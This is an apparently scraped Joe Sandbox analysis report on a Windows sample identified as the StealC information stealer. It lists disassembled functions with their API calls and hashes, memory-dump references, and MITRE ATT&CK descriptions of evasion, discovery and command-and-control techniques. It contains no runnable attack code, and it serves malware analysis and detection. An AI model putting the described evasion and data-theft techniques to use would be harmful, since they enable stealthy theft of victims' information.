Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: be5d357d5429e681e495c563e38b08c3d65a7545979231dd5a356068551d2829
Instruction ID: 7cfe4908b6380db70879a00104d6bdd193b900c2dc69fa3026597b5c9f8ad46a
Opcode Fuzzy Hash: be5d357d5429e681e495c563e38b08c3d65a7545979231dd5a356068551d2829
Instruction Fuzzy Hash: E8318FB1A0121CABCB25EF54CC41FEEB778EB45700F108199E20DA65A1DF746A45DFA1

Function 000F7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00100E00,00000000,?), ref: 000F79B0
RtlAllocateHeap.NTDLL(00000000), ref: 000F79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00100E00,00000000,?), ref: 000F79C4
wsprintfA.USER32 ref: 000F79F3

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: f2f715569c41aa8b7988c0256913a99d97488637f04a0e353e9a393dc6521645
Instruction ID: 5cd56e9b204bc2fa3975137bcff1cfa769e45764347395b9b360201d320ab1a4
Opcode Fuzzy Hash: f2f715569c41aa8b7988c0256913a99d97488637f04a0e353e9a393dc6521645
Instruction Fuzzy Hash: 281115B2904518ABCB249FC9DD45BBEBBFCEB48B11F10421AF605A2280E3795941DBB1

Function 000F92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(000F3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,000F3AEE,?), ref: 000F92FC
GetFileSizeEx.KERNEL32(000000FF,000F3AEE), ref: 000F9319
CloseHandle.KERNEL32(000000FF), ref: 000F9327

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 62f83783a0e83148a5a94ee7d9280b73a826bd2e6ffb5f596db20c57b26e84be
Instruction ID: 65687868b70a94fe352d6f94c4ea3b6a6b1d83f7ae7dde2f8ba7955edd5c893d
Opcode Fuzzy Hash: 62f83783a0e83148a5a94ee7d9280b73a826bd2e6ffb5f596db20c57b26e84be
Instruction Fuzzy Hash: 02F04F35E40208BBDB20DFF4DC49FAE77F9AB48710F10C258BA51A72C0D67097019B44

Function 000FC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 000FC74E

Part of subcall function 000FBF9F: __amsg_exit.LIBCMT ref: 000FBFAF

__getptd.LIBCMT ref: 000FC765
__amsg_exit.LIBCMT ref: 000FC773
__updatetlocinfoEx_nolock.LIBCMT ref: 000FC797

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: f076fb7620e64569e0bad498316706fb5fe99fafb300ee34ab812efbe68b83fe
Instruction ID: 7f1427f1d9bc7b5693492467475e6cb03ccf4b57339a9e10eb6902601a802f40
Opcode Fuzzy Hash: f076fb7620e64569e0bad498316706fb5fe99fafb300ee34ab812efbe68b83fe
Instruction Fuzzy Hash: 12F06D32A0870C9BE760BBB89947BBD33A06F00720F244159F644AA9D3DB685940BE56

Function 000F4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 000F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 000F8E0B

lstrcat.KERNEL32(?,00000000), ref: 000F4F7A
lstrcat.KERNEL32(?,00101070), ref: 000F4F97
lstrcat.KERNEL32(?,012291A8), ref: 000F4FAB
lstrcat.KERNEL32(?,00101074), ref: 000F4FBD

Part of subcall function 000F4910: wsprintfA.USER32 ref: 000F492C
Part of subcall function 000F4910: FindFirstFileA.KERNEL32(?,?), ref: 000F4943

Part of subcall function 000F4910: StrCmpCA.SHLWAPI(?,00100FDC), ref: 000F4971
Part of subcall function 000F4910: StrCmpCA.SHLWAPI(?,00100FE0), ref: 000F4987
Part of subcall function 000F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 000F4B7D
Part of subcall function 000F4910: FindClose.KERNEL32(000000FF), ref: 000F4B92

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 82666191883b869d951b985356b8769359daafa31671e0e01958c29de6e3616e
Instruction ID: 60105d13d9b9d7c954cd1f0c140e9f59b5fa3dd1f5ce27555009eb364b8a1393
Opcode Fuzzy Hash: 82666191883b869d951b985356b8769359daafa31671e0e01958c29de6e3616e
Instruction Fuzzy Hash: F821CB76900208ABC765F770DC46EEE333CAB55300F00454CB79993582EEB496C98B92

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 000F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 000E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 000E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 000F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 000E6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 000F5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 000F17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 000F7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 000F69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 000E1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 000F6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 000E47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 000F51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON